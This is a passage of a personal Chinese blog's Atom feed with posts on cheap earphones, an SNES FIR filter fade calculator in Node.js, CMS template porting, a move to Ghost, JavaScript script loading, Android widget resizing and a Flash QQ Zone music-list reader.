<p>我本以为这种地摊货的声音听起来是很干很脆的感觉，但谁知道那所谓的重低音是多么的恶心。我手机里的各种音乐的贝司音色等低音部分被难以想象的放大，听了一会儿就感觉很不舒服。除此之外，这耳机还存在着左右声道混浊不清、做工质量等问题。</p>
<p>先上三张实机图吧。</p>
<p><img src="https://file.tcdw.net/blog/post/8b73f37b-814e-5da2-b7bb-90a95f021520/1664388791.jpg" alt="耳机全图"></p>
<p><img src="https://file.tcdw.net/blog/post/8b73f37b-814e-5da2-b7bb-90a95f021520/3561527722.jpg" alt="分线器"></p>
<p><img src="https://file.tcdw.net/blog/post/8b73f37b-814e-5da2-b7bb-90a95f021520/3761643472.jpg" alt="耳塞部分"></p>
<p>我买过一些地摊货耳机，但没见过这么糟的。这质量实在没法恭维。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Google Adsense]]></title>
        <id>https://www.tcdw.net/post/guan-yu-google-adsense/</id>
        <link href="https://www.tcdw.net/post/guan-yu-google-adsense/"/>
        <updated>2015-07-13T16:10:00.000Z</updated>
        <summary type="html"><![CDATA[不久前，我低调的（现在不是了）在本站文章页下面添加了 Google 的广告。  最近我听到一些反对的声音，我感到很抱歉，因为我没有征求你们的意见。但我添加广告的目的不是为了赚钱，而是为了维持网站的正常运行。]]></summary>
        <content type="html"><![CDATA[<p>不久前，我低调的（现在不是了）在本站文章页下面添加了 Google 的广告。</p>
<p>最近我听到一些反对的声音，我感到很抱歉，因为我没有征求你们的意见。<strong>但我添加广告的目的不是为了赚钱，而是为了维持网站的正常运行。</strong></p>
<p><span style="color: rgba(0, 0, 0, 0); text-shadow: rgba(0, 0, 0, 0.6) 0 0 1em;">凭什么别人都可以在自己博客打广告，就我不行？</span></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[FIR Filter Fader]]></title>
        <id>https://www.tcdw.net/post/fir-filter-fader/</id>
        <link href="https://www.tcdw.net/post/fir-filter-fader/"/>
        <updated>2015-06-29T04:31:07.000Z</updated>
        <summary type="html"><![CDATA[SNES SPC 引擎不是有个 FIR Filter 选项吗（位于 DSP 寄存器的 $0F $7F），那么我们有时候希望在 AddmusicK 里面加入 FIR 滤镜过渡特效。 由于计算太麻烦，所以我拿 Node.js 写了个代码很渣的 FIR 滤镜过渡计算器，代码如下：      //过渡起点]]></summary>
        <content type="html"><![CDATA[<p>SNES SPC 引擎不是有个 FIR Filter 选项吗（位于 DSP 寄存器的 $0F - $7F），那么我们有时候希望在 AddmusicK 里面加入 FIR 滤镜过渡特效。
由于计算太麻烦，所以我拿 Node.js 写了个代码很渣的 FIR 滤镜过渡计算器，代码如下：</p>
<pre><code>//过渡起点
firRag1 = new Array(0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
//过渡终点
firRag2 = new Array(0x0c, 0x21, 0x2b, 0x2b, 0x13, 0xfe, 0xf3, 0xf9);
//演绎次数。第一次完全与起点相同，最后一次完全与终点相同。
firFadeTime = 10;
//循环演绎次数
for(j=0; j&lt;firFadeTime; j++){
    // FIR 滤镜倾向 FIR1 的值，0 完全倾向，1 完全不倾向。
    firRange = j / (firFadeTime - 1);
    //循环 FIR 滤镜的八个值
    for(i=0; i&lt;8; i++){
        //数值格式转换
        firCalc1 = firRag1[i].toString(10);
        (firCalc1 &gt; 127) ? (fir1 = firCalc1 - 256) : (fir1 = firCalc1);
        firCalc2 = firRag2[i].toString(10);
        (firCalc2 &gt; 127) ? (fir2 = firCalc2 - 256) : (fir2 = firCalc2);
        //混合计算
        fir = Math.round(Number(fir1) + (Number(fir2) - Number(fir1)) * firRange);
        //转换成 AddmusicK 标准数值
        (fir &lt; 0) ? (firNew[i] = (fir + 256).toString(16)) : (firNew[i] = fir.toString(16));
        firUK = firNew[i].toUpperCase();
        firNew[i] = (String(firUK).split(&quot;&quot;).length == 1) ? &quot;$0&quot; + firUK : &quot;$&quot; + firUK;
    }
    //打印演绎结果
    console.log(&quot;$F5 &quot; + firNew.join(&quot; &quot;));
}
</code></pre>
<p>把上面的代码保存成 fir.js，在 Shell 下执行，得到下列结果：</p>
<pre><code>tcdw@tcdw:~$ node fir.js
$F5 $7F $00 $00 $00 $00 $00 $00 $00
$F5 $72 $04 $05 $05 $02 $00 $FF $FF
$F5 $65 $07 $0A $0A $04 $00 $FD $FE
$F5 $59 $0B $0E $0E $06 $FF $FC $FE
$F5 $4C $0F $13 $13 $08 $FF $FA $FD
$F5 $3F $12 $18 $18 $0B $FF $F9 $FC
$F5 $32 $16 $1D $1D $0D $FF $F7 $FB
$F5 $26 $1A $21 $21 $0F $FE $F6 $FB
$F5 $19 $1D $26 $26 $11 $FE $F4 $FA
$F5 $0C $21 $2B $2B $13 $FE $F3 $F9
</code></pre>
<p>然后你只要在中间加上相应的音符，就能实现 FIR 滤镜过渡特效了。</p>
<h3>Update: Jixun 姐姐的改进版本</h3>
<pre><code class="language-javascript">//过渡起点、终点
var firRag1 = [0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
  firRag2 = [0x0c, 0x21, 0x2b, 0x2b, 0x13, 0xfe, 0xf3, 0xf9];

//演绎次数。第一次完全与起点相同，最后一次完全与终点相同。
var firFadeTime = 10;

function toSignedByte(x) {
  if (x &gt; 0x7f) x -= 0x100;

  return x;
}

function toUnsignedByte(x) {
  if (x &lt; 0) x += 0x100;

  return x;
}

function byteToHex(x) {
  return (&quot;0&quot; + x.toString(16)).slice(-2);
}

firRag1 = firRag1.map(toSignedByte);
firRag2 = firRag2.map(toSignedByte);
var firCalc1, firCalc2;

//循环演绎次数
firFadeTime--;
var firNew = new Array(8);
for (j = 0; j &lt;= firFadeTime; j++) {
  // FIR 滤镜倾向 FIR1 的值，0 完全倾向，1 完全不倾向。
  firRange = j / firFadeTime;

  // 循环 FIR 滤镜的八个值
  for (i = 0; i &lt; 8; i++) {
    fir1 = firRag1[i];
    fir2 = firRag2[i];

    // 混合计算
    fir = Math.round(fir1 + (fir2 - fir1) * firRange);

    // 转换成 AddmusicK 标准数值
    firNew[i] = &quot;$&quot; + byteToHex(toUnsignedByte(fir));
  }

  // 打印演绎结果
  console.log(&quot;$F5 &quot; + firNew.join(&quot; &quot;).toUpperCase());
}
</code></pre>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[移植 CMS 程序模板的一般方法]]></title>
        <id>https://www.tcdw.net/post/yi-zhi-cms-cheng-xu-mo-ban-de-ban-fang-fa/</id>
        <link href="https://www.tcdw.net/post/yi-zhi-cms-cheng-xu-mo-ban-de-ban-fang-fa/"/>
        <updated>2015-06-09T03:31:52.000Z</updated>
        <summary type="html"><![CDATA[我常常看见有人求把 xxx 程序的模板移植到 yyy 程序，但事实上这样的问题没啥意义，因为两款不同的程序可能模板思路不同，所以单纯替换模板语言在绝大多数情况下是不可行的。  我在这里介绍的方法当然不是从技术角度出发，而是将基本的思路介绍一下。该思路适用于任意一款 CMS 程序。]]></summary>
        <content type="html"><![CDATA[<p>我常常看见有人求把 xxx 程序的模板移植到 yyy 程序，但事实上这样的问题没啥意义，因为两款不同的程序可能模板思路不同，所以单纯替换模板语言在绝大多数情况下是不可行的。</p>
<p>我在这里介绍的方法当然不是从技术角度出发，而是将基本的思路介绍一下。该思路适用于任意一款 CMS 程序。</p>
<p>阅读本教程时，请确保拥有足够的 HTML 基础知识。</p>
<h2>前期工作</h2>
<p>首先你需要安装原主题所用的 CMS 程序。你可以直接在本地安装一个，或者直接去主题演示站，然后把首页的 HTML 的内容扒下来。</p>
<p>有的模板可能分文章页、单页等等，你也应该把必要的页面扒下来。</p>
<h2>分析 HTML 内容</h2>
<p>各种 CMS 程序的模板往往会把网页的头部、内容、尾部分开，而不是在每个不同的内容页把相同的头部、尾部或其它元素重复一遍。</p>
<p>通常情况下，一个网页的头部是指从 HTML 的最开头部分一直到网站 banner / 菜单的尾部，尾部是网页底部的信息一直到 HTML 收尾的部分。但具体怎么判断，还需要你对模板的体质进行实际的分析。</p>
<h2>套用模板语言</h2>
<p>目前大部分的 CMS 程序模板都不是写死的，即将主程序部分与模板部分完全分离。</p>
<p>大部分的 CMS 都会在它们的文档里提供模板语言的写法，你只需要把对应的 Copypasta 一通即可。</p>
<p>如果是某些冷门程序，没有提供模板开发文档或官网挂掉，也不是问题。参照默认模板或其它民间模板，观察模板语言的规律，只要你掌握一定量的英语单词和编程基础。我不相信有哪个正式发布的、具有规模的 CMS 程序会拿一堆奇怪的、让人不知所云的名称，就像 <code>aaaa</code>、<code>dhdhhajw</code> 之类的。</p>
<h2>调试模板</h2>
<p>在开发环境下安装目标 CMS 程序，然后把你新移植的模板放上去开始测试，如果出现错误（如白屏、程序报错），那么你需要通过错误信息来逐步排查语法并修改，直到模板可以正常工作为止。</p>
<h2>结束语</h2>
<p>这不是一篇真正的、技术性的模板移植教程，我只是希望通过本文，介绍我移植各种网站模板的一般方法。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[切换到 Ghost]]></title>
        <id>https://www.tcdw.net/post/ghost-post-2/</id>
        <link href="https://www.tcdw.net/post/ghost-post-2/"/>
        <updated>2015-06-02T18:40:10.000Z</updated>
        <summary type="html"><![CDATA[2017 更新  我不用 Ghost 了，因为它比 WordPress 臃肿，却比 WordPress 简陋的很。于是，我切换到了 SilverBlog。    我实在不想再在 Typecho 上折腾下去了。不算好用的编辑器、对触屏设备不友好的管理菜单、各种奇怪的小毛病、长期不更新……使我最终放弃了 Typecho。]]></summary>
        <content type="html"><![CDATA[<h2>2017 更新</h2>
<p>我不用 Ghost 了，因为它比 WordPress 臃肿，却比 WordPress 简陋的很。于是，我切换到了 <a href="https://github.com/SilverBlogTeam/SilverBlog">SilverBlog</a>。</p>
<hr>
<p>我实在不想再在 Typecho 上折腾下去了。不算好用的编辑器、对触屏设备不友好的管理菜单、各种奇怪的小毛病、长期不更新……使我最终放弃了 Typecho。</p>
<p>自从上次试安装了一个 Ghost 博客以后，它便深深的打动了我。它的后台界面、编辑器、模板语言都让我爱不释手。</p>
<p>在切换过程中，对于一些问题我是这样解决的：</p>
<h2>永久链接</h2>
<p>由于 Ghost 要求所有文章的永久链接均以 / 结尾，导致原来的 <code>/archives/xxx.html</code> 不可用。</p>
<p>我想到在 Nginx 里对原来格式的永久链接进行重定向，并成功实现。关键配置代码如下：</p>
<pre><code>rewrite ^/archives/(.*).html https://www.tcdw.net/$1/ permanent;
</code></pre>
<h2>评论框</h2>
<p>以前的站点一直使用原生评论框，但 Ghost 没有，所以只好采用第三方评论框。</p>
<p>之所以没有使用一般人用的多说而是 Disqus，是因为：</p>
<ol>
<li>多说对 https 支持不佳，从其它网站调用的头像可能不支持 https；虽然可以通过反代头像的方式解决，但是浪费资源；</li>
<li>感觉这玩意不算太可靠。</li>
</ol>
<p>至于以前的评论是无力转移了，但是我把它们存放到<del>旧站备份</del>里了，以便查阅。</p>
<h2>总结</h2>
<p>虽然 Ghost 依然有一些不尽如人意的地方，但它作为一款新的博客程序，是情有可原的。</p>
<p>我对这款博客程序充满期待。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[关于以前用的昵称的正式说明]]></title>
        <id>https://www.tcdw.net/post/about-my-nickname/</id>
        <link href="https://www.tcdw.net/post/about-my-nickname/"/>
        <updated>2015-05-01T09:46:00.000Z</updated>
        <summary type="html"><![CDATA[我早期的主要网名是“风雨无阻”，虽然也使用过其它的用户名或昵称，但是很少。  2010 年 5 月，我还是个喜羊羊迷，经常访问其官方论坛。我有一次看到网站上有个用户叫“大王屠城”，便把这两个词语顺序调了一下，我当时觉得高大上的网名就这样出来了。  我的 QQ 昵称当时本来应该是一个月一换的，但换上昵称“屠城大王”以后便再也没换过。当时的我非常喜欢这个昵称，便利用它及它的衍生版本申请了各种帐号，一直到现在。]]></summary>
        <content type="html"><![CDATA[<p>我早期的主要网名是“风雨无阻”，虽然也使用过其它的用户名或昵称，但是很少。</p>
<p>2010 年 5 月，我还是个喜羊羊迷，经常访问其官方论坛。我有一次看到网站上有个用户叫“大王屠城”，便把这两个词语顺序调了一下，我当时觉得高大上的网名就这样出来了。</p>
<p>我的 QQ 昵称当时本来应该是一个月一换的，但换上昵称“屠城大王”以后便再也没换过。当时的我非常喜欢这个昵称，便利用它及它的衍生版本申请了各种帐号，一直到现在。</p>
<h3>为什么本文会被发表</h3>
<style> img.tcdw-drama { max-width: 300px!important } </style>
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/251141251.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/2333350056.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/4123302400.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/631624916.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/3874713265.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/1214351924.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/150189900.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/1372373401.png">
<img class="tcdw-drama" src="https://file.tcdw.net/blog/post/3e5695c6-4bb3-5621-9180-bb8aac584602/2480465378.png">]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[通过甲 JS 加载乙 JS]]></title>
        <id>https://www.tcdw.net/post/load-new-js-with-another-js/</id>
        <link href="https://www.tcdw.net/post/load-new-js-with-another-js/"/>
        <updated>2015-04-16T06:51:00.000Z</updated>
        <summary type="html"><![CDATA[以前我想通过某个 JavaScript 脚本来加载另一个 JavaScript 脚本，我会这样写：      document.write('');   虽然它确实能用，但这方法并不算最好，[トトロ][1]的 QQ 群某人教给我这种方法：    [1]: http://i.mouto.org]]></summary>
        <content type="html"><![CDATA[<p>以前我想通过某个 JavaScript 脚本来加载另一个 JavaScript 脚本，我会这样写：</p>
<pre><code>document.write(&#39;&lt;script src=&quot;example.js&quot;&gt;&lt;/script&gt;&#39;);
</code></pre>
<p>虽然它<em>确实能用</em>，但这方法并不算最好，<a href="http://i.mouto.org">トトロ</a>的 QQ 群某人教给我这种方法：<blockquote></p>
<h2>加载新 JS</h2>
<pre><code>newScript = document.createElement(&#39;script&#39;);
newScript.type = &#39;text/javascript&#39;;
newScript.src = &#39;/path/to/js/file&#39;;
document.getElementsByTagName(&#39;head&#39;)[0].appendChild(newScript);
</code></pre>
<h2>假如单单是要调用一个 JS 在另一个 JS 里</h2>
<pre><code>var imported = document.createElement(&#39;script&#39;);
imported.src = &#39;/path/to/imported/script&#39;;
document.head.appendChild(imported);
</code></pre>
<h2>jQuery 方式</h2>
<pre><code>$.getScript(&#39;/path/to/imported/script.js&#39;, function()
{
    // 运行
    // 这里写你的JS
});
</code></pre>
</blockquote>

]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[避免模板烂大街的最佳方法就是自己写一个]]></title>
        <id>https://www.tcdw.net/post/diy-site-theme/</id>
        <link href="https://www.tcdw.net/post/diy-site-theme/"/>
        <updated>2015-03-07T02:51:00.000Z</updated>
        <summary type="html"><![CDATA[2018 更新：我做到了。    谁不希望自己网站的模板漂亮一些呢？ 但矛盾的是，漂亮的模板很多都已经烂大街了，少数没有烂大街的又漂亮的模板却没有发布；没有烂大街的模板又恰恰不是喜欢的。 为了解决这个矛盾，我决定重拾网页制作的旧业，同时学习 Typecho 模板制作。   编写思路]]></summary>
        <content type="html"><![CDATA[<p>2018 更新：<a href="/post/new-theme">我做到了。</a></p>
<hr>
<p>谁不希望自己网站的模板漂亮一些呢？
但矛盾的是，漂亮的模板很多都已经烂大街了，少数没有烂大街的又漂亮的模板却没有发布；没有烂大街的模板又恰恰不是喜欢的。
为了解决这个矛盾，我决定重拾网页制作的旧业，同时学习 Typecho 模板制作。</p>
<h2>编写思路</h2>
<p>我在去年下旬尝试编写过模板，但是以失败告终。究其原因，是因为想起来什么就写什么，没有一个完整的思路。</p>
<p>我的主意是首先要考虑好最基本的 CSS 样式，然后设计框架，最后填充样式。</p>
<p>然后把皮套入代码，从而达到制作模板的目的。</p>
<h2>原则</h2>
<ol>
<li>要保证在多种现代浏览器中显示正常，即使它们的标准互不一致。</li>
<li>要保证良好的用户体验，并尽量减少动画特效。</li>
<li>能不要的东西就抛弃，比如一些小图标可以通过 CSS + Font 方式实现。</li>
<li>考虑不同地区用户的使用体验。</li>
</ol>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[强行修改 Android 桌面小部件大小的方法，需 root]]></title>
        <id>https://www.tcdw.net/post/change-widget-size-force/</id>
        <link href="https://www.tcdw.net/post/change-widget-size-force/"/>
        <updated>2013-04-07T05:37:00.000Z</updated>
        <summary type="html"><![CDATA[TBD: 修复图片  首先，把要修改的小部件移到合适的位置，这里以时钟为例。    然后把 sqlite editor 打开，按 home 键回到桌面，把编辑器留在后台备用。    然后进入设置 应用程序 全部 目标启动器，点击 强行停止。    找到启动器应用，打开数据库，找到刚才准备的桌面小部件。]]></summary>
        <content type="html"><![CDATA[<p>首先，把要修改的小部件移到合适的位置，这里以时钟为例。</p>
<p><img src="https://file.tcdw.net/blog/post/d9f4dcfd-3d1c-5b8a-bd25-83546b2c8912/timg.jpg" alt="步骤 1"></p>
<p>然后把 sqlite editor 打开，按 home 键回到桌面，把编辑器留在后台备用。</p>
<p><img src="https://file.tcdw.net/blog/post/d9f4dcfd-3d1c-5b8a-bd25-83546b2c8912/timg--1-.jpg" alt="步骤 2"></p>
<p>然后进入设置 - 应用程序 - 全部 - <em>目标启动器</em>，点击 强行停止。</p>
<p><img src="https://file.tcdw.net/blog/post/d9f4dcfd-3d1c-5b8a-bd25-83546b2c8912/timg--2-.jpg" alt="步骤 3"></p>
<p>找到启动器应用，打开数据库，找到刚才准备的桌面小部件。</p>
<p><img src="https://file.tcdw.net/blog/post/d9f4dcfd-3d1c-5b8a-bd25-83546b2c8912/timg--3-.jpg" alt="步骤 4"></p>
<p>点击圆珠笔图标，修改 <code>spanX</code> 和 <code>spanY</code>，然后保存。</p>
<p>其他的启动器修改方法差不多。</p>
<p><img src="https://file.tcdw.net/blog/post/d9f4dcfd-3d1c-5b8a-bd25-83546b2c8912/timg--4-.jpg" alt="步骤 5"></p>
<p>修改成功。</p>
<p><img src="https://file.tcdw.net/blog/post/d9f4dcfd-3d1c-5b8a-bd25-83546b2c8912/timg--5-.jpg" alt="步骤 6"></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[tcdw 那糟糕的宾馆之旅]]></title>
        <id>https://www.tcdw.net/post/terrible-hotel/</id>
        <link href="https://www.tcdw.net/post/terrible-hotel/"/>
        <updated>2012-07-29T07:23:00.000Z</updated>
        <summary type="html"><![CDATA[这家宾馆号称有热水，有上网服务。然而却很坑爹。  首先进入电梯，电梯门反复打开又关上。连续三次，电梯门终于关上了。电梯的装修是 90 年代那样的，底下的木地板已经掉色。  接着，到了三楼，提着行李，进入客房。   客房内   首先开始洗澡。  浴室里虽然有热水，但水压极低。浴室的装修，也是 90 年代的风格。于是，洗澡提前结束。]]></summary>
        <content type="html"><![CDATA[<p>这家宾馆号称有热水，有上网服务。然而却很坑爹。</p>
<p>首先进入电梯，电梯门反复打开又关上。连续三次，电梯门终于关上了。电梯的装修是 90 年代那样的，底下的木地板已经掉色。</p>
<p>接着，到了三楼，提着行李，进入客房。</p>
<h2>客房内</h2>
<p>首先开始洗澡。</p>
<p>浴室里虽然有热水，但水压极低。浴室的装修，也是 90 年代的风格。于是，洗澡提前结束。</p>
<p>接着，上网。</p>
<p>打开电脑，只见 windows 的 logo 被改成了“xx 网吧专用版”。</p>
<p>电脑启动成功后，登录贴吧，下载 lyh 传的固件。</p>
<p>但是，下载速度只有 50k/s！</p>
<p>顺便说下机箱前面没有 usb 接口，还好我带了一只 usb hub，把唯一可用的 usb 接口用上了（原来插的是摄像头）。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[用 Flash 实现读取 QQ 空间背景音乐列表]]></title>
        <id>https://www.tcdw.net/post/read-bgm-list-qzone/</id>
        <link href="https://www.tcdw.net/post/read-bgm-list-qzone/"/>
        <updated>2011-08-30T10:03:00.000Z</updated>
        <summary type="html"><![CDATA[代码如下：  javascript System.useCodepage=true; var singer:Array=new Array(); var songname:Array=new Array(); var songurl:Array=new Array(); function a(a, b, c) {]]></summary>
        <content type="html"><![CDATA[<p>代码如下：</p>
<pre><code class="language-javascript">System.useCodepage=true;
var singer:Array=new Array();
var songname:Array=new Array();
var songurl:Array=new Array();
function a(a, b, c) {
    return a.split(b).join(c);
}
function rdmtxt(num:Number){
    r=&quot;`1234567890-=\qwertyuiop[]asdfghjkl;&#39;zxcvbnm,./~!@#$%^&amp;*()_+|QWERTYUIOP{}ASDFGHJKL:\&quot;ZXCVBNM&lt;&gt;?&quot;;
    r=r.split(&quot;&quot;);
    rr=&quot;&quot;;
    for(z=0;z&lt;num;z++){
        rr+=r[random(r.length)];
    }
    return rr;
}
function qzoneMusic(uin) {
    my_lv = new LoadVars();
    my_lv.load(&quot;http://qzone-music.qq.com/fcg-bin/cgi_playlist_xml.fcg?json=1&amp;uin=&quot;+uin);
    singer=new Array();
    songname=new Array();
    songurl=new Array();
    gl=rdmtxt(20);
    my_lv.onData = function(d) {
        e=d;
        e=a(e,&quot;jsonCallback({qqmusic:{curtime:&quot;,&quot;&quot;);
        e=a(e,&quot;,issmarter:&quot;,&quot;&quot;);
        e=a(e,&quot;,systemtime:&quot;,&quot;&quot;);
        e=a(e,&quot;,xmusicnum:&quot;,&quot;&quot;);
        e=a(e,&quot;,playlist:{song:[&quot;,gl);
        e=a(e,&quot;]}}})&quot;,&quot;,&quot;);
        f=e.split(gl);
        g=f[1];
        g=g.split(&quot;},&quot;);
        for(i=0;i&lt;(g.length-1);i++){
            h=g[i];
            h=a(h,&quot;,xsong_name:\&quot;&quot;,gl);
            h=a(h,&quot;\&quot;,xsinger_id:&quot;,gl);
            h=a(h,&quot;,xsinger_name:\&quot;&quot;,gl);
            h=a(h,&quot;\&quot;,xsong_url:&#39;&quot;,gl);
            h=a(h,&quot;&#39;,xsong_dissid:&quot;,gl);
            ii=h.split(gl);
            songname.push(ii[1]);
            singer.push(ii[3]);
            songurl.push(ii[4]);
            trace(songname[i]+&quot;|&quot;+singer[i]+&quot;|&quot;+songurl[i]);
        }
    };
}
qzoneMusic(576135687);
</code></pre>
<p>把这些代码拷到 Flash 里，然后把最后一行括号中的 QQ 号码换成要查询的 QQ 号码，然后测试，不一会，就会输出查询结果了。</p>
<p><strong>下次再也不去那个查询网站了！</strong></p>
<p>至于那是什么网站，你懂得。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[屠城 QZone 播放器 0.1 正式版（求围观）]]></title>
        <id>https://www.tcdw.net/post/qzone-player/</id>
        <link href="https://www.tcdw.net/post/qzone-player/"/>
        <updated>2011-07-14T13:35:00.000Z</updated>
        <summary type="html"><![CDATA[20180312 更新：修复链接  测试地址：https://file.tcdw.net/blog/misc/c.swf  源程序：https://file.tcdw.net/blog/misc/c.fla  本程序为测试版本，欢迎大家提出建议。   优点   1. 体积小，运行速度快。 2. 音乐具有平缓滑动的特效。]]></summary>
        <content type="html"><![CDATA[<blockquote>
<p>20180312 更新：修复链接</p>
</blockquote>
<p>测试地址：<a href="https://file.tcdw.net/blog/misc/c.swf">https://file.tcdw.net/blog/misc/c.swf</a></p>
<p>源程序：<a href="https://file.tcdw.net/blog/misc/c.fla">https://file.tcdw.net/blog/misc/c.fla</a></p>
<p>本程序为测试版本，欢迎大家提出建议。</p>
<h2>优点</h2>
<ol>
<li>体积小，运行速度快。</li>
<li>音乐具有平缓滑动的特效。</li>
</ol>
<h2>缺点</h2>
<ol>
<li>由于音乐存储在 <a href="http://blog.yinsha.com">银沙网盘</a>，且网盘使用人数过多，所以音乐有时无法加载。</li>
<li>自动曲目切换经常出错，因为使用 onSoundComplete 函数总是无法正常切换。</li>
</ol>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
</feed>